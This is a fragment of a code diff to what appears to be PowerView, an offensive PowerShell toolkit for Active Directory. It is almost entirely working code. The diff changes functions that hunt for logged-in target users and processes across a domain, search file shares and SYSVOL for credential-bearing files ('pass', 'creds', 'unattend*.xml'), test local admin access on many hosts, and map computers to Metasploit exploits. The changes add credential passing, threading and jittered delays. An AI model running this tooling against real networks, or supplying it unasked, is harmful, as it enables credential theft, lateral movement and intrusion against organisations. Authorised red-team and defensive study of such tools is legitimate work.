} - } - else { - # try to enumerate the processes on the remote machine - try { - Get-WMIobject -Class Win32_process -ComputerName $ComputerName | ForEach-Object { - $Owner = $_.getowner(); - $Process = New-Object PSObject - $Process | Add-Member Noteproperty 'ComputerName' $ComputerName - $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName - $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID - $Process | Add-Member Noteproperty 'Domain' $Owner.Domain - $Process | Add-Member Noteproperty 'User' $Owner.User - $Process - } - } - catch { - Write-Verbose "[!] Error enumerating remote processes, access likely denied: $_" - } + $Processes | ForEach-Object { + $Owner = $_.getowner(); + $Process = New-Object PSObject + $Process | Add-Member Noteproperty 'ComputerName' $Computer + $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName + $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID + $Process | Add-Member Noteproperty 'Domain' $Owner.Domain + $Process | Add-Member Noteproperty 'User' $Owner.User + $Process } } + catch { + Write-Verbose "[!] Error enumerating remote processes on $Computer, access likely denied: $_" + } } @@ -7289,10 +8274,6 @@ function Find-InterestingFile { Switch. Mount target remote path with temporary PSDrives. - .PARAMETER Credential - - Credential to use to mount the PSDrive for searching. - .OUTPUTS The full path, owner, lastaccess time, lastwrite time, and size for each found file. @@ -7323,15 +8304,15 @@ function Find-InterestingFile { http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/ #> - - [CmdletBinding()] + param( [Parameter(ValueFromPipeline=$True)] [String] $Path = '.\', + [Alias('Terms')] [String[]] - $Terms, + $SearchTerms = @('pass', 'sensitive', 'admin', 'login', 'secret', 'unattend*.xml', '.vmdk', 'creds', 'credential', '.config'), [Switch] $OfficeDocs, @@ -7361,35 +8342,19 @@ function Find-InterestingFile { $OutFile, [Switch] - $UsePSDrive, - - [System.Management.Automation.PSCredential] - $Credential = [System.Management.Automation.PSCredential]::Empty + $UsePSDrive ) begin { - # default search terms - $SearchTerms = @('pass', 'sensitive', 'admin', 'login', 'secret', 'unattend*.xml', '.vmdk', 'creds', 'credential', '.config') - if(!$Path.EndsWith('\')) { - $Path = $Path + '\' - } - if($Credential -ne [System.Management.Automation.PSCredential]::Empty) { $UsePSDrive = $True } + $Path += if(!$Path.EndsWith('\')) {"\"} - # check if custom search terms were passed - if ($Terms) { - if($Terms -isnot [system.array]) { - $Terms = @($Terms) - } - $SearchTerms = $Terms + if ($Credential) { + $UsePSDrive = $True } - if(-not $SearchTerms[0].startswith("*")) { - # append wildcards to the front and back of all search terms - for ($i = 0; $i -lt $SearchTerms.Count; $i++) { - $SearchTerms[$i] = "*$($SearchTerms[$i])*" - } - } + # append wildcards to the front and back of all search terms + $SearchTerms = $SearchTerms | ForEach-Object { if($_ -notmatch '^\*.*\*$') {"*$($_)*"} else{$_} } # search just for office documents if specified if ($OfficeDocs) { @@ -7399,29 +8364,31 @@ function Find-InterestingFile { # find .exe's accessed within the last 7 days if($FreshEXEs) { # get an access time limit of 7 days ago - $LastAccessTime = (get-date).AddDays(-7).ToString('MM/dd/yyyy') + $LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy') $SearchTerms = '*.exe' } if($UsePSDrive) { # if we're PSDrives, create a temporary mount point + $Parts = $Path.split('\') $FolderPath = $Parts[0..($Parts.length-2)] -join '\' $FilePath = $Parts[-1] + $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' - Write-Verbose "Mounting path $Path using a temp PSDrive at $RandDrive" + Write-Verbose "Mounting path '$Path' using a temp PSDrive at $RandDrive" try { - $Null = New-PSDrive -Name $RandDrive -Credential $Credential -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop + $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop } catch { - Write-Debug "Error mounting path $Path : $_" + Write-Debug "Error mounting path '$Path' : $_" return $Null } # so we can cd/dir the new drive - $Path = $RandDrive + ":\" + $FilePath + $Path = "${RandDrive}:\${FilePath}" } } @@ -7475,7 +8442,7 @@ function Find-InterestingFile { end { if($UsePSDrive -and $RandDrive) { Write-Verbose "Removing temp PSDrive $RandDrive" - Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive + Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force } } } @@ -7504,6 +8471,7 @@ function Invoke-ThreadedFunction { $ScriptParameters, [Int] + [ValidateRange(1,100)] $Threads = 20, [Switch] @@ -7898,8 +8866,8 @@ function Invoke-UserHunter { [Switch] $ForeignUsers, - [ValidateRange(1,100)] [Int] + [ValidateRange(1,100)] $Threads ) @@ -7914,32 +8882,33 @@ function Invoke-UserHunter { Write-Verbose "[*] Running Invoke-UserHunter with delay of $Delay" - if($Domain) { - $TargetDomains = @($Domain) - } - elseif($SearchForest) { - # get ALL the domains in the forest to search - $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } - } - else { - # use the local domain - $TargetDomains = @( (Get-NetDomain).name ) - } - ##################################################### # # First we build the host target set # ##################################################### + if($ComputerFile) { + # if we're using a host list, read the targets in and add them to the target list + $ComputerName = Get-Content -Path $ComputerFile + } + if(!$ComputerName) { [Array]$ComputerName = @() - - if($ComputerFile) { - # if we're using a host list, read the targets in and add them to the target list - $ComputerName = Get-Content -Path $ComputerFile + + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + } + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) } - elseif($Stealth) { + + if($Stealth) { Write-Verbose "Stealth mode! Enumerating commonly used servers" Write-Verbose "Stealth source: $StealthSource" @@ -8002,7 +8971,7 @@ function Invoke-UserHunter { if($ForeignUsers) { # if we're searching for user results not in the primary domain - $krbtgtName = Convert-CanonicaltoNT4 -ObjectName "krbtgt@$($Domain)" + $krbtgtName = Convert-ADName -ObjectName "krbtgt@$($Domain)" -InputType Simple -OutputType NT4 $DomainShortName = $krbtgtName.split("\")[0] } } @@ -8020,7 +8989,12 @@ function Invoke-UserHunter { elseif($UserName) { Write-Verbose "[*] Using target user '$UserName'..." $User = New-Object PSObject - $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0] + if($TargetDomains) { + $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0] + } + else { + $User | Add-Member Noteproperty 'MemberDomain' $Null + } $User | Add-Member Noteproperty 'MemberName' $UserName.ToLower() $TargetUsers = @($User) } @@ -8028,7 +9002,12 @@ function Invoke-UserHunter { elseif($UserFile) { $TargetUsers = Get-Content -Path $UserFile | ForEach-Object { $User = New-Object PSObject - $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0] + if($TargetDomains) { + $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0] + } + else { + $User | Add-Member Noteproperty 'MemberDomain' $Null + } $User | Add-Member Noteproperty 'MemberName' $_ $User } | Where-Object {$_} @@ -8053,7 +9032,7 @@ function Invoke-UserHunter { $User } | Where-Object {$_} - } + } } else { ForEach ($Domain in $TargetDomains) { @@ -8092,12 +9071,12 @@ function Invoke-UserHunter { $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object { - $IP = Get-IPAddress -ComputerName $ComputerName + $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress $FoundUser = New-Object PSObject $FoundUser | Add-Member Noteproperty 'UserDomain' $_.MemberDomain $FoundUser | Add-Member Noteproperty 'UserName' $UserName $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName - $FoundUser | Add-Member Noteproperty 'IP' $IP + $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress $FoundUser | Add-Member Noteproperty 'SessionFrom' $CName # see if we're checking to see if we have local admin access on this machine @@ -8110,7 +9089,7 @@ function Invoke-UserHunter { } $FoundUser } - } + } } } if(!$Stealth) { @@ -8137,12 +9116,12 @@ function Invoke-UserHunter { } } if($Proceed) { - $IP = Get-IPAddress -ComputerName $ComputerName + $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress $FoundUser = New-Object PSObject $FoundUser | Add-Member Noteproperty 'UserDomain' $UserDomain $FoundUser | Add-Member Noteproperty 'UserName' $UserName $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName - $FoundUser | Add-Member Noteproperty 'IP' $IP + $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress $FoundUser | Add-Member Noteproperty 'SessionFrom' $Null # see if we're checking to see if we have local admin access on this machine @@ -8179,7 +9158,7 @@ function Invoke-UserHunter { } # kick off the threaded script block + arguments - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } else { @@ -8342,15 +9321,6 @@ function Invoke-ProcessHunter { File of usernames to search for. - .PARAMETER RemoteUserName - - The "domain\username" to use for the WMI call on a remote system. - If supplied, 'RemotePassword' must be supplied as well. - - .PARAMETER RemotePassword - - The password to use for the WMI call on a remote system. - .PARAMETER StopOnSuccess Switch. Stop hunting after finding after finding a target user/process. @@ -8388,6 +9358,11 @@ function Invoke-ProcessHunter { The maximum concurrent threads to execute. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target machine/domain. + .EXAMPLE PS C:\> Invoke-ProcessHunter -Domain 'testing' @@ -8461,12 +9436,6 @@ function Invoke-ProcessHunter { [String] $UserFile, - [String] - $RemoteUserName, - - [String] - $RemotePassword, - [Switch] $StopOnSuccess, @@ -8493,7 +9462,10 @@ function Invoke-ProcessHunter { [ValidateRange(1,100)] [Int] - $Threads + $Threads, + + [Management.Automation.PSCredential] + $Credential ) begin { @@ -8507,37 +9479,37 @@ function Invoke-ProcessHunter { Write-Verbose "[*] Running Invoke-ProcessHunter with delay of $Delay" - if($Domain) { - $TargetDomains = @($Domain) - } - elseif($SearchForest) { - # get ALL the domains in the forest to search - $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } - } - else { - # use the local domain - $TargetDomains = @( (Get-NetDomain).name ) - } - ##################################################### # # First we build the host target set # ##################################################### + # if we're using a host list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile + } + if(!$ComputerName) { - # if we're using a host list, read the targets in and add them to the target list - if($ComputerFile) { - $ComputerName = Get-Content -Path $ComputerFile + [array]$ComputerName = @() + + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain -DomainController $DomainController -Credential $Credential | ForEach-Object { $_.Name } } else { - [array]$ComputerName = @() - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for hosts" - $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath - } + # use the local domain + $TargetDomains = @( (Get-NetDomain -Domain $Domain -Credential $Credential).name ) } + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter $ComputerFilter -ADSpath $ComputerADSpath + } + # remove any null target hosts, uniquify the list and shuffle it $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } if($($ComputerName.Count) -eq 0) { @@ -8576,15 +9548,15 @@ function Invoke-ProcessHunter { elseif($UserADSpath -or $UserFilter) { ForEach ($Domain in $TargetDomains) { Write-Verbose "[*] Querying domain $Domain for users" - $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object { + $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object { $_.samaccountname } | Where-Object {$_} - } + } } else { ForEach ($Domain in $TargetDomains) { Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" - $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController| Foreach-Object { + $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential| ForEach-Object { $_.MemberName } } @@ -8597,7 +9569,7 @@ function Invoke-ProcessHunter { # script block that enumerates a server $HostEnumBlock = { - param($ComputerName, $Ping, $ProcessName, $TargetUsers, $RemoteUserName, $RemotePassword) + param($ComputerName, $Ping, $ProcessName, $TargetUsers, $Credential) # optionally check if the server is up first $Up = $True @@ -8607,12 +9579,7 @@ function Invoke-ProcessHunter { if($Up) { # try to enumerate all active processes on the remote host # and search for a specific process name - if($RemoteUserName -and $RemotePassword) { - $Processes = Get-NetProcess -RemoteUserName $RemoteUserName -RemotePassword $RemotePassword -ComputerName $ComputerName -ErrorAction SilentlyContinue - } - else { - $Processes = Get-NetProcess -ComputerName $ComputerName -ErrorAction SilentlyContinue - } + $Processes = Get-NetProcess -Credential $Credential -ComputerName $ComputerName -ErrorAction SilentlyContinue ForEach ($Process in $Processes) { # if we're hunting for a process name or comma-separated names @@ -8643,12 +9610,11 @@ function Invoke-ProcessHunter { 'Ping' = $(-not $NoPing) 'ProcessName' = $ProcessName 'TargetUsers' = $TargetUsers - 'RemoteUserName' = $RemoteUserName - 'RemotePassword' = $RemotePassword + 'Credential' = $Credential } # kick off the threaded script block + arguments - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } else { @@ -8669,7 +9635,7 @@ function Invoke-ProcessHunter { Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" - $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $ProcessName, $TargetUsers, $RemoteUserName, $RemotePassword + $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $ProcessName, $TargetUsers, $Credential $Result if($Result -and $StopOnSuccess) { @@ -8678,7 +9644,6 @@ function Invoke-ProcessHunter { } } } - } } @@ -8764,6 +9729,11 @@ function Invoke-EventHunter { The maximum concurrent threads to execute. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Invoke-EventHunter @@ -8824,7 +9794,10 @@ function Invoke-EventHunter { [ValidateRange(1,100)] [Int] - $Threads + $Threads, + + [Management.Automation.PSCredential] + $Credential ) begin { @@ -8847,7 +9820,7 @@ function Invoke-EventHunter { } else { # use the local domain - $TargetDomains = @( (Get-NetDomain).name ) + $TargetDomains = @( (Get-NetDomain -Credential $Credential).name ) } ##################################################### @@ -8865,7 +9838,7 @@ function Invoke-EventHunter { [array]$ComputerName = @() ForEach ($Domain in $TargetDomains) { Write-Verbose "[*] Querying domain $Domain for hosts" - $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath + $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter $ComputerFilter -ADSpath $ComputerADSpath } } else { @@ -8873,7 +9846,7 @@ function Invoke-EventHunter { [array]$ComputerName = @() ForEach ($Domain in $TargetDomains) { Write-Verbose "[*] Querying domain $Domain for domain controllers" - $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController | ForEach-Object { $_.dnshostname} + $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController -Credential $Credential | ForEach-Object { $_.dnshostname} } } @@ -8912,15 +9885,15 @@ function Invoke-EventHunter { elseif($UserADSpath -or $UserFilter) { ForEach ($Domain in $TargetDomains) { Write-Verbose "[*] Querying domain $Domain for users" - $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object { + $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object { $_.samaccountname } | Where-Object {$_} - } + } } else { ForEach ($Domain in $TargetDomains) { Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" - $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController | Foreach-Object { + $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential | ForEach-Object { $_.MemberName } } @@ -8932,7 +9905,7 @@ function Invoke-EventHunter { # script block that enumerates a server $HostEnumBlock = { - param($ComputerName, $Ping, $TargetUsers, $SearchDays) + param($ComputerName, $Ping, $TargetUsers, $SearchDays, $Credential) # optionally check if the server is up first $Up = $True @@ -8940,10 +9913,18 @@ function Invoke-EventHunter { $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName } if($Up) { - # try to enumerate - Get-UserEvent -ComputerName $ComputerName -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object { - # filter for the target user set - $TargetUsers -contains $_.UserName + # try to enumerate + if($Credential) { + Get-UserEvent -ComputerName $ComputerName -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object { + # filter for the target user set + $TargetUsers -contains $_.UserName + } + } + else { + Get-UserEvent -ComputerName $ComputerName -Credential $Credential -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object { + # filter for the target user set + $TargetUsers -contains $_.UserName + } } } } @@ -8960,10 +9941,11 @@ function Invoke-EventHunter { 'Ping' = $(-not $NoPing) 'TargetUsers' = $TargetUsers 'SearchDays' = $SearchDays + 'Credential' = $Credential } # kick off the threaded script block + arguments - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } else { @@ -8984,13 +9966,14 @@ function Invoke-EventHunter { Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" - Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $(-not $NoPing), $TargetUsers, $SearchDays + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $(-not $NoPing), $TargetUsers, $SearchDays, $Credential } } } } + function Invoke-ShareFinder { <# .SYNOPSIS @@ -9177,7 +10160,13 @@ function Invoke-ShareFinder { $ExcludedShares = @('', "ADMIN$", "IPC$", "C$", "PRINT$") } + # if we're using a host file list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile + } + if(!$ComputerName) { + [array]$ComputerName = @() if($Domain) { $TargetDomains = @($Domain) @@ -9190,19 +10179,12 @@ function Invoke-ShareFinder { # use the local domain $TargetDomains = @( (Get-NetDomain).name ) } - - # if we're using a host file list, read the targets in and add them to the target list - if($ComputerFile) { - $ComputerName = Get-Content -Path $ComputerFile - } - else { - [array]$ComputerName = @() - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for hosts" - $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath - } + + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath } - + # remove any null target hosts, uniquify the list and shuffle it $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } if($($ComputerName.count) -eq 0) { @@ -9280,7 +10262,7 @@ function Invoke-ShareFinder { } # kick off the threaded script block + arguments - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } else { @@ -9437,10 +10419,6 @@ function Invoke-FileFinder { Switch. Mount target remote path with temporary PSDrives. - .PARAMETER Credential - - Credential to use to mount the PSDrive for searching. - .EXAMPLE PS C:\> Invoke-FileFinder @@ -9503,8 +10481,9 @@ function Invoke-FileFinder { [Switch] $FreshEXEs, + [Alias('Terms')] [String[]] - $Terms, + $SearchTerms, [ValidateScript({Test-Path -Path $_ })] [String] @@ -9566,10 +10545,7 @@ function Invoke-FileFinder { $Threads, [Switch] - $UsePSDrive, - - [System.Management.Automation.PSCredential] - $Credential = [System.Management.Automation.PSCredential]::Empty + $UsePSDrive ) begin { @@ -9615,23 +10591,11 @@ function Invoke-FileFinder { if ($TermList) { ForEach ($Term in Get-Content -Path $TermList) { if (($Term -ne $Null) -and ($Term.trim() -ne '')) { - $Terms += $Term + $SearchTerms += $Term } } } - if($Domain) { - $TargetDomains = @($Domain) - } - elseif($SearchForest) { - # get ALL the domains in the forest to search - $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } - } - else { - # use the local domain - $TargetDomains = @( (Get-NetDomain).name ) - } - # if we're hard-passed a set of shares if($ShareList) { ForEach ($Item in Get-Content -Path $ShareList) { @@ -9642,40 +10606,57 @@ function Invoke-FileFinder { } } } - if($SearchSYSVOL) { - ForEach ($Domain in $TargetDomains) { - $DCSearchPath = "\\$Domain\SYSVOL\" - Write-Verbose "[*] Adding share search path $DCSearchPath" - $Shares += $DCSearchPath - } - if(!$Terms) { - # search for interesting scripts on SYSVOL - $Terms = @('.vbs', '.bat', '.ps1') - } - } else { - # if we're using a host list, read the targets in and add them to the target list + # if we're using a host file list, read the targets in and add them to the target list if($ComputerFile) { $ComputerName = Get-Content -Path $ComputerFile } - else { - [array]$ComputerName = @() - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for hosts" - $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController + + if(!$ComputerName) { + + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + } + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) } - } - # remove any null target hosts, uniquify the list and shuffle it - $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } - if($($ComputerName.Count) -eq 0) { - throw "No hosts found!" + if($SearchSYSVOL) { + ForEach ($Domain in $TargetDomains) { + $DCSearchPath = "\\$Domain\SYSVOL\" + Write-Verbose "[*] Adding share search path $DCSearchPath" + $Shares += $DCSearchPath + } + if(!$SearchTerms) { + # search for interesting scripts on SYSVOL + $SearchTerms = @('.vbs', '.bat', '.ps1') + } + } + else { + [array]$ComputerName = @() + + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController + } + + # remove any null target hosts, uniquify the list and shuffle it + $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } + if($($ComputerName.Count) -eq 0) { + throw "No hosts found!" + } + } } } # script block that enumerates shares and files on a server $HostEnumBlock = { - param($ComputerName, $Ping, $ExcludedShares, $Terms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive, $Credential) + param($ComputerName, $Ping, $ExcludedShares, $SearchTerms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive) Write-Verbose "ComputerName: $ComputerName" Write-Verbose "ExcludedShares: $ExcludedShares" @@ -9721,7 +10702,7 @@ function Invoke-FileFinder { ForEach($Share in $SearchShares) { $SearchArgs = @{ 'Path' = $Share - 'Terms' = $Terms + 'SearchTerms' = $SearchTerms 'OfficeDocs' = $OfficeDocs 'FreshEXEs' = $FreshEXEs 'LastAccessTime' = $LastAccessTime @@ -9732,7 +10713,6 @@ function Invoke-FileFinder { 'CheckWriteAccess' = $CheckWriteAccess 'OutFile' = $OutFile 'UsePSDrive' = $UsePSDrive - 'Credential' = $Credential } Find-InterestingFile @SearchArgs @@ -9749,7 +10729,7 @@ function Invoke-FileFinder { $ScriptParams = @{ 'Ping' = $(-not $NoPing) 'ExcludedShares' = $ExcludedShares - 'Terms' = $Terms + 'SearchTerms' = $SearchTerms 'ExcludeFolders' = $ExcludeFolders 'OfficeDocs' = $OfficeDocs 'ExcludeHidden' = $ExcludeHidden @@ -9757,17 +10737,16 @@ function Invoke-FileFinder { 'CheckWriteAccess' = $CheckWriteAccess 'OutFile' = $OutFile 'UsePSDrive' = $UsePSDrive - 'Credential' = $Credential } # kick off the threaded script block + arguments if($Shares) { # pass the shares as the hosts so the threaded function code doesn't have to be hacked up - Invoke-ThreadedFunction -ComputerName $Shares -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + Invoke-ThreadedFunction -ComputerName $Shares -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } else { - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams - } + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } } else { @@ -9792,7 +10771,7 @@ function Invoke-FileFinder { Write-Verbose "[*] Enumerating server $_ ($Counter of $($ComputerName.count))" - Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $_, $False, $ExcludedShares, $Terms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive, $Credential + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $_, $False, $ExcludedShares, $SearchTerms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive } } } @@ -9952,8 +10931,15 @@ function Find-LocalAdminAccess { $RandNo = New-Object System.Random Write-Verbose "[*] Running Find-LocalAdminAccess with delay of $Delay" - + + # if we're using a host list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile + } + if(!$ComputerName) { + [array]$ComputerName = @() + if($Domain) { $TargetDomains = @($Domain) } @@ -9966,18 +10952,11 @@ function Find-LocalAdminAccess { $TargetDomains = @( (Get-NetDomain).name ) } - # if we're using a host list, read the targets in and add them to the target list - if($ComputerFile) { - $ComputerName = Get-Content -Path $ComputerFile - } - else { - [array]$ComputerName = @() - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for hosts" - $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController - } + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController } - + # remove any null target hosts, uniquify the list and shuffle it $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } if($($ComputerName.Count) -eq 0) { @@ -10015,7 +10994,7 @@ function Find-LocalAdminAccess { } # kick off the threaded script block + arguments - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } else { @@ -10036,7 +11015,7 @@ function Find-LocalAdminAccess { Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" - Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False } } } @@ -10105,6 +11084,11 @@ function Get-ExploitableSystem { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE The example below shows the standard command usage. Disabled system are excluded by default, but @@ -10194,7 +11178,10 @@ function Get-ExploitableSystem { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) Write-Verbose "[*] Grabbing computer accounts from Active Directory..." @@ -10355,11 +11342,12 @@ function Get-ExploitableSystem { $Null = $TableVulnComputers.Rows.Add($AdsHostname,$AdsOS,$AdsSP,$AdsLast,$ExploitMsf,$ExploitCVE) } } - } + } # Display results $VulnComputer = $TableVulnComputers | Select-Object ComputerName -Unique | Measure-Object $VulnComputerCount = $VulnComputer.Count + if ($VulnComputer.Count -gt 0) { # Return vulnerable server list order with some hack date casting Write-Verbose "[+] Found $VulnComputerCount potentially vulnerable systems!" @@ -10424,6 +11412,10 @@ function Invoke-EnumerateLocalAdmin { Switch. Only return results that are not part of the local machine or the machine's domain. Old Invoke-EnumerateLocalTrustGroup functionality. + + .PARAMETER DomainOnly + + Switch. Only return domain (non-local) results .PARAMETER Domain @@ -10438,6 +11430,11 @@ function Invoke-EnumerateLocalAdmin { 